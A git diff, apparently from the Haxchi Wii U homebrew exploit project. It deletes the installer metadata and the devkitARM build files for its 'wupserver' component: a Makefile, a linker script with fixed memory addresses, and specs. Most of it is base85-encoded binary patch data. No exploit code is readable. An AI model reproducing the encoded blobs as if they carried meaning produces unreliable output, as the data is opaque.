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 - - Haxchi - FIX94 - 2.5u2 - https://github.com/FIX94/haxchi - 20170113200000 - Haxchi Installer - This will install Haxchi on your system. - - \ No newline at end of file diff --git a/wupserver/Makefile b/wupserver/Makefile deleted file mode 100644 index 1bb45f7..0000000 --- a/wupserver/Makefile +++ /dev/null @@ -1,76 +0,0 @@ -ifeq ($(strip $(DEVKITARM)),) -$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") -endif - -ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) -export PATH:=$(DEVKITARM)/bin:$(PATH) -endif - -CC = arm-none-eabi-gcc -# LINK = arm-none-eabi-gcc -LINK = arm-none-eabi-ld -AS = arm-none-eabi-as -OBJCOPY = arm-none-eabi-objcopy -CFLAGS += -Wall -mbig-endian -std=c99 -mcpu=arm926ej-s -Os -s -mthumb -I$(DEVKITPRO)/libnds/include -LDFLAGS += --script=ccd00.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" - -CFILES = $(wildcard source/*.c) -BINFILES = $(wildcard data/*.*) -OFILES = $(CFILES:source/%.c=build/%.o) -DFILES = $(CFILES:source/%.c=build/%.d) -SFILES = $(wildcard source/*.s) -OFILES += $(SFILES:source/%.s=build/%.o) -OFILES += $(BINFILES:data/%=build/%.o) -PROJECTNAME = ${shell basename "$(CURDIR)"} -CWD = "$(CURDIR)"" - -#--------------------------------------------------------------------------------- -# canned command sequence for binary data, taken from devkitARM -#--------------------------------------------------------------------------------- -define bin2o - bin2s $< | $(AS) -o $(@) - echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ - -$(PROJECTNAME).elf: $(OFILES) - $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(sort $(filter-out build/crt0.o, $(OFILES))) libgcc.a - -clean: - @rm -f build/*.o build/*.d - @rmdir build 2>/nul; true - @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h - @echo "all cleaned up !" - --include $(DFILES) - -build/%.o: source/%.c - $(CC) $(CFLAGS) -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.o: source/%.s - $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.bin.o: data/%.bin - @echo $(notdir $<) - @$(bin2o) - -build/%.tga.o: data/%.tga - @echo $(notdir $<) - @$(bin2o) diff --git a/wupserver/ccd00.ld b/wupserver/ccd00.ld deleted file mode 100644 index a0187bc..0000000 --- a/wupserver/ccd00.ld +++ /dev/null @@ -1,22 +0,0 @@ -OUTPUT_ARCH(arm) - -MEMORY -{ - RAMX (rx) : ORIGIN = 0x0510E570, LENGTH = 0x00015BC - RAMRW (rw!i) : ORIGIN = 0x05089780, LENGTH = 0x00001F00 -} - -SECTIONS -{ - .text : { - build/crt0.o(.init) - *(.text) - *(.rodata) - } - - .bss : { - _bss_start = .; - *(.bss); - } - _bss_end = .; -} diff --git a/wupserver/ccd00.specs b/wupserver/ccd00.specs deleted file mode 100644 index ccff243..0000000 --- a/wupserver/ccd00.specs +++ /dev/null @@ -1,4 +0,0 @@ -%rename link old_link - -*link: -%(old_link) -T ./ccd00.ld%s diff --git a/wupserver/libgcc.a b/wupserver/libgcc.a deleted file mode 100644 index b8beee7f768f8913638e00c02263d860a4a1f29d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1457490 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 